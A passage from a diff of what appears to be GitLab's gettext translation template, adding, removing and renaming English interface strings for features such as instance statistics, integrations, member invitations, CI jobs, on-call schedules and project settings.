-msgstr ""
-
msgid "Incident"
msgstr ""
@@ -14193,9 +14536,6 @@ msgstr ""
msgid "Incoming!"
msgstr ""
-msgid "Incompatible Project"
-msgstr ""
-
msgid "Incompatible options set!"
msgstr ""
@@ -14280,9 +14620,6 @@ msgstr ""
msgid "Install Runner on Kubernetes"
msgstr ""
-msgid "Install a Runner"
-msgstr ""
-
msgid "Install a soft token authenticator like %{free_otp_link} or Google Authenticator from your application repository and use that app to scan this QR code. More information is available in the %{help_link_start}documentation%{help_link_end}."
msgstr ""
@@ -14306,73 +14643,79 @@ msgstr[1] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics"
+msgid "Instance administrators group already exists"
msgstr ""
-msgid "Instance administrators group already exists"
+msgid "InstanceStatistics|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgstr ""
+
+msgid "InstanceStatistics|Could not load the pipelines chart. Please refresh the page to try again."
+msgstr ""
+
+msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Canceled"
+msgid "InstanceStatistics|Groups"
msgstr ""
-msgid "InstanceAnalytics|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Issues"
msgstr ""
-msgid "InstanceAnalytics|Could not load the pipelines chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Issues & Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Failed"
+msgid "InstanceStatistics|Items"
msgstr ""
-msgid "InstanceAnalytics|Issues"
+msgid "InstanceStatistics|Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Issues & Merge Requests"
+msgid "InstanceStatistics|Month"
msgstr ""
-msgid "InstanceAnalytics|Items"
+msgid "InstanceStatistics|No data available."
msgstr ""
-msgid "InstanceAnalytics|Merge Requests"
+msgid "InstanceStatistics|Pipelines"
msgstr ""
-msgid "InstanceAnalytics|Month"
+msgid "InstanceStatistics|Pipelines canceled"
msgstr ""
-msgid "InstanceAnalytics|Pipelines"
+msgid "InstanceStatistics|Pipelines failed"
msgstr ""
-msgid "InstanceAnalytics|Skipped"
+msgid "InstanceStatistics|Pipelines skipped"
msgstr ""
-msgid "InstanceAnalytics|Succeeded"
+msgid "InstanceStatistics|Pipelines succeeded"
msgstr ""
-msgid "InstanceAnalytics|There is no data available."
+msgid "InstanceStatistics|Pipelines total"
msgstr ""
-msgid "InstanceAnalytics|Total"
+msgid "InstanceStatistics|Projects"
msgstr ""
-msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
+msgid "InstanceStatistics|There was an error fetching the cancelled pipelines"
msgstr ""
-msgid "InstanceStatistics|Groups"
+msgid "InstanceStatistics|There was an error fetching the failed pipelines"
msgstr ""
-msgid "InstanceStatistics|Issues"
+msgid "InstanceStatistics|There was an error fetching the issues"
msgstr ""
-msgid "InstanceStatistics|Merge Requests"
+msgid "InstanceStatistics|There was an error fetching the merge requests"
msgstr ""
-msgid "InstanceStatistics|No data available."
+msgid "InstanceStatistics|There was an error fetching the skipped pipelines"
msgstr ""
-msgid "InstanceStatistics|Pipelines"
+msgid "InstanceStatistics|There was an error fetching the successful pipelines"
msgstr ""
-msgid "InstanceStatistics|Projects"
+msgid "InstanceStatistics|There was an error fetching the total pipelines"
msgstr ""
msgid "InstanceStatistics|There was an error while loading the groups"
@@ -14411,6 +14754,9 @@ msgstr ""
msgid "Integrations|All details"
msgstr ""
+msgid "Integrations|All projects inheriting these settings will also be reset."
+msgstr ""
+
msgid "Integrations|Comment detail:"
msgstr ""
@@ -14444,7 +14790,16 @@ msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
-msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use instance-level defaults."
+msgid "Integrations|Projects using custom settings will not be affected."
+msgstr ""
+
+msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use parent level defaults."
+msgstr ""
+
+msgid "Integrations|Reset integration?"
+msgstr ""
+
+msgid "Integrations|Resetting this integration will clear the settings and deactivate this integration."
msgstr ""
msgid "Integrations|Return to GitLab for Jira"
@@ -14462,6 +14817,9 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
+msgid "Integrations|This integration, and inheriting projects were reset."
+msgstr ""
+
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -14483,6 +14841,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Interactive mode"
+msgstr ""
+
msgid "Interested parties can even contribute by pushing commits if they want to."
msgstr ""
@@ -14558,6 +14919,9 @@ msgstr ""
msgid "Invalid file."
msgstr ""
+msgid "Invalid hash"
+msgstr ""
+
msgid "Invalid import params"
msgstr ""
@@ -14600,6 +14964,9 @@ msgstr ""
msgid "Invalid yaml"
msgstr ""
+msgid "Investigate vulnerability: %{title}"
+msgstr ""
+
msgid "Invitation"
msgstr ""
@@ -14624,6 +14991,9 @@ msgstr ""
msgid "Invite member"
msgstr ""
+msgid "Invite team members"
+msgstr ""
+
msgid "Invite teammates (optional)"
msgstr ""
@@ -14669,6 +15039,9 @@ msgstr ""
msgid "InviteMembersModal|Choose a role permission"
msgstr ""
+msgid "InviteMembersModal|Close invite team members"
+msgstr ""
+
msgid "InviteMembersModal|GitLab member or Email address"
msgstr ""
@@ -14678,16 +15051,16 @@ msgstr ""
msgid "InviteMembersModal|Invite team members"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|User not invited. Feature coming soon!"
+msgid "InviteMembersModal|Search for members to invite"
msgstr ""
-msgid "InviteMembersModal|Users were succesfully added"
+msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{group_name} group"
+msgid "InviteMembersModal|You're inviting members to the %{name} %{type}"
msgstr ""
msgid "InviteMembers|Invite team members"
@@ -14795,9 +15168,6 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
-msgid "Issue actions"
-msgstr ""
-
msgid "Issue already promoted to epic."
msgstr ""
@@ -14861,6 +15231,9 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
+msgid "IssueBoards|An error occurred while setting notifications status."
+msgstr ""
+
msgid "IssueBoards|Board"
msgstr ""
@@ -14996,10 +15369,10 @@ msgstr ""
msgid "Iteration|cannot be more than 500 years in the future"
msgstr ""
-msgid "I’m familiar with the basics of project management and DevOps."
+msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not very familiar with the basics of project management and DevOps."
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
msgid "Jaeger URL"
@@ -15176,6 +15549,27 @@ msgstr ""
msgid "Jobs"
msgstr ""
+msgid "Jobs|Are you sure you want to proceed?"
+msgstr ""
+
+msgid "Jobs|Are you sure you want to retry this job?"
+msgstr ""
+
+msgid "Jobs|Create CI/CD configuration file"
+msgstr ""
+
+msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
+msgstr ""
+
+msgid "Jobs|No jobs to show"
+msgstr ""
+
+msgid "Jobs|Use jobs to automate your tasks"
+msgstr ""
+
+msgid "Jobs|You're about to retry a job that failed because it attempted to deploy code that is older than the latest deployment. Retrying this job could result in overwriting the environment with the older source code."
+msgstr ""
+
msgid "Job|Browse"
msgstr ""
@@ -15305,6 +15699,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kroki"
+msgstr ""
+
msgid "Kubernetes"
msgstr ""
@@ -15487,9 +15884,6 @@ msgstr ""
msgid "Last name"
msgstr ""
-msgid "Last name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "Last reply by"
msgstr ""
@@ -15583,6 +15977,9 @@ msgstr ""
msgid "Learn more about License-Check"
msgstr ""
+msgid "Learn more about Needs relationships"
+msgstr ""
+
msgid "Learn more about Vulnerability-Check"
msgstr ""
@@ -15610,9 +16007,6 @@ msgstr ""
msgid "Learn more about group-level project templates"
msgstr ""
-msgid "Learn more about job dependencies"
-msgstr ""
-
msgid "Learn more about signing commits"
msgstr ""
@@ -15643,9 +16037,6 @@ msgstr ""
msgid "Leave project"
msgstr ""
-msgid "Leave the \"File type\" and \"Delivery method\" options on their default values."
-msgstr ""
-
msgid "Leave zen mode"
msgstr ""
@@ -15709,9 +16100,6 @@ msgstr ""
msgid "LicenseCompliance|Learn more about %{linkStart}License Approvals%{linkEnd}"
msgstr ""
-msgid "LicenseCompliance|License"
-msgstr ""
-
msgid "LicenseCompliance|License Approvals"
msgstr ""
@@ -15751,18 +16139,9 @@ msgstr ""
msgid "LicenseCompliance|License Compliance detected no new licenses"
msgstr ""
-msgid "LicenseCompliance|License details"
-msgstr ""
-
msgid "LicenseCompliance|License name"
msgstr ""
-msgid "LicenseCompliance|License review"
-msgstr ""
-
-msgid "LicenseCompliance|Packages"
-msgstr ""
-
msgid "LicenseCompliance|Remove license"
msgstr ""
@@ -15778,9 +16157,6 @@ msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
msgstr ""
-msgid "LicenseCompliance|URL"
-msgstr ""
-
msgid "LicenseCompliance|You are about to remove the license, %{name}, from this project."
msgstr ""
@@ -15886,6 +16262,9 @@ msgstr ""
msgid "Limit namespaces and projects that can be indexed"
msgstr ""
+msgid "Limit the number of concurrent operations this secondary node can run in the background."
+msgstr ""
+
msgid "Limited to showing %d event at most"
msgid_plural "Limited to showing %d events at most"
msgstr[0] ""
@@ -15906,6 +16285,9 @@ msgstr ""
msgid "Link title is required"
msgstr ""
+msgid "Link to an image"
+msgstr ""
+
msgid "Link to go to GitLab pipeline documentation"
msgstr ""
@@ -16110,9 +16492,6 @@ msgstr ""
msgid "Make sure you save it - you won't be able to access it again."
msgstr ""
-msgid "Make sure you're logged into the account that owns the projects you'd like to import."
-msgstr ""
-
msgid "Make this epic confidential"
msgstr ""
@@ -16173,16 +16552,10 @@ msgstr ""
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
-msgid "Map a FogBugz account ID to a GitLab user"
-msgstr ""
-
-msgid "Map a Google Code user to a GitLab user"
+msgid "Manually link this issue by adding it to the linked issue section of the %{originating_vulnerability}."
msgstr ""
-msgid "Map a Google Code user to a full email address"
-msgstr ""
-
-msgid "Map a Google Code user to a full name"
+msgid "Map a FogBugz account ID to a GitLab user"
msgstr ""
msgid "Mar"
@@ -16245,7 +16618,7 @@ msgstr ""
msgid "Marked For Deletion At - %{deletion_time}"
msgstr ""
-msgid "Marked this %{noun} as Work In Progress."
+msgid "Marked this %{noun} as a draft."
msgstr ""
msgid "Marked this issue as a duplicate of %{duplicate_param}."
@@ -16257,7 +16630,7 @@ msgstr ""
msgid "Marked to do as done."
msgstr ""
-msgid "Marks this %{noun} as Work In Progress."
+msgid "Marks this %{noun} as a draft."
msgstr ""
msgid "Marks this issue as a duplicate of %{duplicate_reference}."
@@ -16305,6 +16678,9 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
+msgid "Max 100,000 events"
+msgstr ""
+
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -16329,9 +16705,6 @@ msgstr ""
msgid "Max role"
msgstr ""
-msgid "Max size 15 MB"
-msgstr ""
-
msgid "MaxBuilds"
msgstr ""
@@ -16488,7 +16861,10 @@ msgstr ""
msgid "Members|%{time} by %{user}"
msgstr ""
-msgid "Members|%{userName} is currently a LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgid "Members|%{userName} is currently an LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgstr ""
+
+msgid "Members|2FA"
msgstr ""
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
@@ -16524,9 +16900,18 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Direct"
+msgstr ""
+
+msgid "Members|Disabled"
+msgstr ""
+
msgid "Members|Edit permissions"
msgstr ""
+msgid "Members|Enabled"
+msgstr ""
+
msgid "Members|Expiration date removed successfully."
msgstr ""
@@ -16536,12 +16921,21 @@ msgstr ""
msgid "Members|Expired"
msgstr ""
+msgid "Members|Filter members"
+msgstr ""
+
+msgid "Members|Inherited"
+msgstr ""
+
msgid "Members|LDAP override enabled."
msgstr ""
msgid "Members|Leave \"%{source}\""
msgstr ""
+msgid "Members|Membership"
+msgstr ""
+
msgid "Members|No expiration set"
msgstr ""
@@ -16560,6 +16954,9 @@ msgstr ""
msgid "Members|Role updated successfully."
msgstr ""
+msgid "Members|Search invited"
+msgstr ""
+
msgid "Members|in %{time}"
msgstr ""
@@ -16611,6 +17008,9 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge commit SHA"
+msgstr ""
+
msgid "Merge commit message"
msgstr ""
@@ -16662,6 +17062,9 @@ msgstr ""
msgid "Merge requests are read-only in a secondary Geo node"
msgstr ""
+msgid "Merge the branch and fix any conflicts that come up"
+msgstr ""
+
msgid "Merge when pipeline succeeds"
msgstr ""
@@ -17218,6 +17621,9 @@ msgstr ""
msgid "MilestoneCombobox|An error occurred while searching for milestones"
msgstr ""
+msgid "MilestoneCombobox|Group milestones"
+msgstr ""
+
msgid "MilestoneCombobox|Milestone"
msgstr ""
@@ -17323,6 +17729,9 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
+msgid "Milestones|No milestones found"
+msgstr ""
+
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -17356,12 +17765,6 @@ msgstr ""
msgid "Minimum interval in days"
msgstr ""
-msgid "Minimum length is %{minimum_password_length} characters"
-msgstr ""
-
-msgid "Minimum length is %{minimum_password_length} characters."
-msgstr ""
-
msgid "Minimum password length (number of characters)"
msgstr ""
@@ -17419,7 +17822,7 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
-msgid "MissingSSHKeyWarningLink|You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
msgid "ModalButton|Add projects"
@@ -17515,6 +17918,9 @@ msgstr ""
msgid "Move selection up"
msgstr ""
+msgid "Move test case"
+msgstr ""
+
msgid "Move this issue to another project."
msgstr ""
@@ -17642,6 +18048,9 @@ msgid_plural "NamespaceStorageSize|You have reached the free storage limit of %{
msgstr[0] ""
msgstr[1] ""
+msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To learn more about reducing storage capacity please visit our docs."
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -17675,6 +18084,9 @@ msgstr ""
msgid "Need help?"
msgstr ""
+msgid "Needs"
+msgstr ""
+
msgid "Needs attention"
msgstr ""
@@ -17900,7 +18312,7 @@ msgstr ""
msgid "New"
msgstr ""
-msgid "New %{display_issuable_type}"
+msgid "New %{issueType}"
msgstr ""
msgid "New Application"
@@ -18052,6 +18464,9 @@ msgstr ""
msgid "New response for issue #%{issue_iid}:"
msgstr ""
+msgid "New runner. Has not connected yet"
+msgstr ""
+
msgid "New runners registration token has been generated!"
msgstr ""
@@ -18157,9 +18572,6 @@ msgstr ""
msgid "No containers available"
msgstr ""
-msgid "No content to show"
-msgstr ""
-
msgid "No contributions"
msgstr ""
@@ -18343,9 +18755,6 @@ msgstr ""
msgid "No worries, you can still use all the %{strong}%{plan_name}%{strong_close} features for now. You have %{remaining_days} to renew your subscription."
msgstr ""
-msgid "No, directly import the existing email addresses and usernames."
-msgstr ""
-
msgid "No. of commits"
msgstr ""
@@ -18382,6 +18791,9 @@ msgstr ""
msgid "Not all data has been processed yet, the accuracy of the chart for the selected timeframe is limited."
msgstr ""
+msgid "Not applicable to personal namespaced projects, which are deleted immediately on request."
+msgstr ""
+
msgid "Not available"
msgstr ""
@@ -18400,6 +18812,9 @@ msgstr ""
msgid "Not found."
msgstr ""
+msgid "Not permitted to destroy framework"
+msgstr ""
+
msgid "Not ready yet. Try again later."
msgstr ""
@@ -18412,6 +18827,9 @@ msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
+msgid "Note that pushing to GitLab requires write access to this repository."
+msgstr ""
+
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -18451,6 +18869,9 @@ msgstr ""
msgid "Notes|This comment has changed since you started editing, please review the %{open_link}updated comment%{close_link} to ensure information is not lost"
msgstr ""
+msgid "Notes|You're only seeing %{boldStart}other activity%{boldEnd} in the feed. To add a comment, switch to one of the following options."
+msgstr ""
+
msgid "Nothing found…"
msgstr ""
@@ -18487,9 +18908,15 @@ msgstr ""
msgid "NotificationEvent|Fixed pipeline"
msgstr ""
+msgid "NotificationEvent|Issue due"
+msgstr ""
+
msgid "NotificationEvent|Merge merge request"
msgstr ""
+msgid "NotificationEvent|Moved project"
+msgstr ""
+
msgid "NotificationEvent|New epic"
msgstr ""
@@ -18505,6 +18932,9 @@ msgstr ""
msgid "NotificationEvent|New release"
msgstr ""
+msgid "NotificationEvent|Push to merge request"
+msgstr ""
+
msgid "NotificationEvent|Reassign issue"
msgstr ""
@@ -18514,6 +18944,9 @@ msgstr ""
msgid "NotificationEvent|Reopen issue"
msgstr ""
+msgid "NotificationEvent|Reopen merge request"
+msgstr ""
+
msgid "NotificationEvent|Successful pipeline"
msgstr ""
@@ -18640,6 +19073,33 @@ msgstr ""
msgid "On track"
msgstr ""
+msgid "On-call Schedules"
+msgstr ""
+
+msgid "On-call schedules"
+msgstr ""
+
+msgid "OnCallSchedules|Add a schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Create on-call schedules in GitLab"
+msgstr ""
+
+msgid "OnCallSchedules|Failed to add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Route alerts directly to specific members of your team"
+msgstr ""
+
+msgid "OnCallSchedules|Select timezone"
+msgstr ""
+
+msgid "OnCallSchedules|Sets the default timezone for the schedule, for all participants"
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -18655,9 +19115,6 @@ msgstr ""
msgid "OnDemandScans|Create a new site profile"
msgstr ""
-msgid "OnDemandScans|Create new DAST scan"
-msgstr ""
-
msgid "OnDemandScans|Manage profiles"
msgstr ""
@@ -18682,9 +19139,6 @@ msgstr ""
msgid "OnDemandScans|Scanner profile"
msgstr ""
-msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
-msgstr ""
-
msgid "OnDemandScans|Select one of the existing profiles"
msgstr ""
@@ -18697,6 +19151,12 @@ msgstr ""
msgid "OnDemandScans|Use existing site profile"
msgstr ""
+msgid "OnDemandScans|You can either choose a passive scan or validate the target site in your chosen site profile. %{docsLinkStart}Learn more about site validation.%{docsLinkEnd}"
+msgstr ""
+
+msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
+msgstr ""
+
msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
@@ -18706,7 +19166,7 @@ msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
msgstr ""
-msgid "Once removed, the fork relationship cannot be restored and you will no longer be able to send merge requests to the source."
+msgid "Once removed, the fork relationship cannot be restored. This project will no longer be able to receive or send merge requests to the source project or other forks."
msgstr ""
msgid "Once the exported file is ready, you will receive a notification email with a download link, or you can download it from this page."
@@ -18729,9 +19189,6 @@ msgstr ""
msgid "One or more of your %{provider} projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
msgstr ""
-msgid "One or more of your Google Code projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
-msgstr ""
-
msgid "One or more of your dependency files are not supported, and the dependency list may be incomplete. Below is a list of supported file types."
msgstr ""
@@ -18813,6 +19270,9 @@ msgstr ""
msgid "Open raw"
msgstr ""
+msgid "Open registration is enabled on your instance."
+msgstr ""
+
msgid "Open sidebar"
msgstr ""
@@ -18879,9 +19339,6 @@ msgstr ""
msgid "Optionally, you can %{link_to_customize} how FogBugz email addresses and usernames are imported into GitLab."
msgstr ""
-msgid "Optionally, you can %{link_to_customize} how Google Code email addresses and usernames are imported into GitLab."
-msgstr ""
-
msgid "Options"
msgstr ""
@@ -18927,6 +19384,9 @@ msgstr ""
msgid "Outdent"
msgstr ""
+msgid "Overall Activity"
+msgstr ""
+
msgid "Overridden"
msgstr ""
@@ -19083,6 +19543,9 @@ msgstr ""
msgid "PackageRegistry|For more information on the PyPi registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
+msgid "PackageRegistry|Generic"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -19197,6 +19660,9 @@ msgstr ""
msgid "PackageType|Conan"
msgstr ""
+msgid "PackageType|Generic"
+msgstr ""
+
msgid "PackageType|Maven"
msgstr ""
@@ -19221,9 +19687,6 @@ msgstr ""
msgid "Page settings"
msgstr ""
-msgid "Page was successfully deleted"
-msgstr ""
-
msgid "PagerDutySettings|Active"
msgstr ""
@@ -19488,6 +19951,9 @@ msgstr ""
msgid "Pipeline minutes quota"
msgstr ""
+msgid "Pipeline ran in fork of project"
+msgstr ""
+
msgid "Pipeline subscriptions"
msgstr ""
@@ -19596,9 +20062,6 @@ msgstr ""
msgid "Pipelines|CI Lint"
msgstr ""
-msgid "Pipelines|CI file could not be loaded: %{reason}"
-msgstr ""
-
msgid "Pipelines|Child pipeline"
msgstr ""
@@ -19644,6 +20107,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No CI file found in this repository, please add one."
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -19656,6 +20122,9 @@ msgstr ""
msgid "Pipelines|Project cache successfully reset."
msgstr ""
+msgid "Pipelines|Repository does not have a default branch, please set one."
+msgstr ""
+
msgid "Pipelines|Revoke"
msgstr ""
@@ -19665,6 +20134,12 @@ msgstr ""
msgid "Pipelines|Something went wrong while cleaning runners cache."
msgstr ""
+msgid "Pipelines|The CI configuration was not loaded, please try again."
+msgstr ""
+
+msgid "Pipelines|The GitLab CI configuration could not be updated."
+msgstr ""
+
msgid "Pipelines|There are currently no finished pipelines."
msgstr ""
@@ -19890,6 +20365,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your GitLab administrator if you think this is an error."
+msgstr ""
+
msgid "Please contact your administrator with any questions."
msgstr ""
@@ -19899,9 +20377,6 @@ msgstr ""
msgid "Please convert %{linkStart}them to Git%{linkEnd}, and go through the %{linkToImportFlow} again."
msgstr ""
-msgid "Please convert them to Git on Google Code, and go through the %{link_to_import_flow} again."
-msgstr ""
-
msgid "Please create a password for your new account."
msgstr ""
@@ -20064,18 +20539,12 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
-msgstr ""
-
msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
msgstr ""
-msgid "Preferences|Enable integrated code intelligence on code views"
-msgstr ""
-
msgid "Preferences|For example: 30 mins ago."
msgstr ""
@@ -20085,9 +20554,6 @@ msgstr ""
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
-msgid "Preferences|Integrations"
-msgstr ""
-
msgid "Preferences|Layout width"
msgstr ""
@@ -20109,9 +20575,6 @@ msgstr ""
msgid "Preferences|Show whitespace changes in diffs"
msgstr ""
-msgid "Preferences|Sourcegraph"
-msgstr ""
-
msgid "Preferences|Syntax highlighting theme"
msgstr ""
@@ -20166,6 +20629,9 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying merge request approvers list"
+msgstr ""
+
msgid "Prevent users from performing write operations on GitLab while performing maintenance."
msgstr ""
@@ -20295,6 +20761,24 @@ msgstr ""
msgid "Profile Settings"
msgstr ""
+msgid "ProfilePreferences|Customize integrations with third party services."
+msgstr ""
+
+msgid "ProfilePreferences|Enable Gitpod integration"
+msgstr ""
+
+msgid "ProfilePreferences|Enable integrated code intelligence on code views"
+msgstr ""
+
+msgid "ProfilePreferences|Gitpod"
+msgstr ""
+
+msgid "ProfilePreferences|Integrations"
+msgstr ""
+
+msgid "ProfilePreferences|Sourcegraph"
+msgstr ""
+
msgid "ProfileSession|on"
msgstr ""
@@ -20304,6 +20788,9 @@ msgstr ""
msgid "Profiles| You are going to change the username %{currentUsernameBold} to %{newUsernameBold}. Profile and projects will be redirected to the %{newUsername} namespace but this redirect will expire once the %{currentUsername} namespace is registered by another user or group. Please update your Git repository remotes as soon as possible."
msgstr ""
+msgid "Profiles|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "Profiles|%{provider} Active"
msgstr ""
@@ -20334,6 +20821,9 @@ msgstr ""
msgid "Profiles|Bio"
msgstr ""
+msgid "Profiles|Busy"
+msgstr ""
+
msgid "Profiles|Change username"
msgstr ""
@@ -20691,9 +21181,6 @@ msgstr ""
msgid "Project cannot be shared with the group it is in or one of its ancestors."
msgstr ""
-msgid "Project clone URL"
-msgstr ""
-
msgid "Project configuration, excluding integrations"
msgstr ""
@@ -20946,7 +21433,10 @@ msgstr ""
msgid "ProjectSettings|Enable 'Delete source branch' option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains and pipelines for merged results"
+msgid "ProjectSettings|Enable merge trains."
+msgstr ""
+
+msgid "ProjectSettings|Enable merged results pipelines."
msgstr ""
msgid "ProjectSettings|Encourage"
@@ -20988,6 +21478,9 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
+msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgstr ""
+
msgid "ProjectSettings|Internal"
msgstr ""
@@ -21048,9 +21541,6 @@ msgstr ""
msgid "ProjectSettings|Pipelines"
msgstr ""
-msgid "ProjectSettings|Pipelines for merge requests must be enabled in the CI/CD configuration file, or pipelines could be unresolvable or dropped"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
@@ -21072,6 +21562,12 @@ msgstr ""
msgid "ProjectSettings|Require"
msgstr ""
+msgid "ProjectSettings|Requirements"
+msgstr ""
+
+msgid "ProjectSettings|Requirements management system for this project"
+msgstr ""
+
msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
msgstr ""
@@ -21141,6 +21637,9 @@ msgstr ""
msgid "ProjectSettings|View and edit files in this project. Non-project members will only have read access"
msgstr ""
+msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgstr ""
+
msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
msgstr ""
@@ -21522,6 +22021,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote to epic"
+msgstr ""
+
msgid "Promote to group label"
msgstr ""
@@ -21837,6 +22339,9 @@ msgstr ""
msgid "Push project from command line"
msgstr ""
+msgid "Push the result of the merge to GitLab"
+msgstr ""
+
msgid "Push to create a project"
msgstr ""
@@ -21990,6 +22495,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redis"
+msgstr ""
+
msgid "Reduce project visibility"
msgstr ""
@@ -22073,9 +22581,6 @@ msgstr ""
msgid "Registry setup"
msgstr ""
-msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
-msgstr ""
-
msgid "Reindexing status"
msgstr ""
@@ -22150,6 +22655,9 @@ msgstr ""
msgid "ReleaseAssetLinkType|Runbooks"
msgstr ""
+msgid "Released date"
+msgstr ""
+
msgid "Releases"
msgstr ""
@@ -22177,9 +22685,6 @@ msgstr ""
msgid "Remediations"
msgstr ""
-msgid "Remember me"
-msgstr ""
-
msgid "Remind later"
msgstr ""
@@ -22384,9 +22889,6 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing integrations is not supported for this project"
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -22402,15 +22904,12 @@ msgstr ""
msgid "Reopen"
msgstr ""
-msgid "Reopen %{display_issuable_type}"
+msgid "Reopen %{issueType}"
msgstr ""
msgid "Reopen epic"
msgstr ""
-msgid "Reopen issue"
-msgstr ""
-
msgid "Reopen milestone"
msgstr ""
@@ -22489,6 +22988,14 @@ msgstr ""
msgid "Reports|%{combinedString} and %{resolvedString}"
msgstr ""
+msgid "Reports|%{recentlyFailed} out of %{failed} failed test has failed more than once in the last 14 days"
+msgstr ""
+
+msgid "Reports|%{recentlyFailed} out of %{failed} failed tests has failed more than once in the last 14 days"
+msgid_plural "Reports|%{recentlyFailed} out of %{failed} failed tests have failed more than once in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Reports|Accessibility scanning detected %d issue for the source branch only"
msgid_plural "Reports|Accessibility scanning detected %d issues for the source branch only"
msgstr[0] ""
@@ -22521,6 +23028,11 @@ msgstr ""
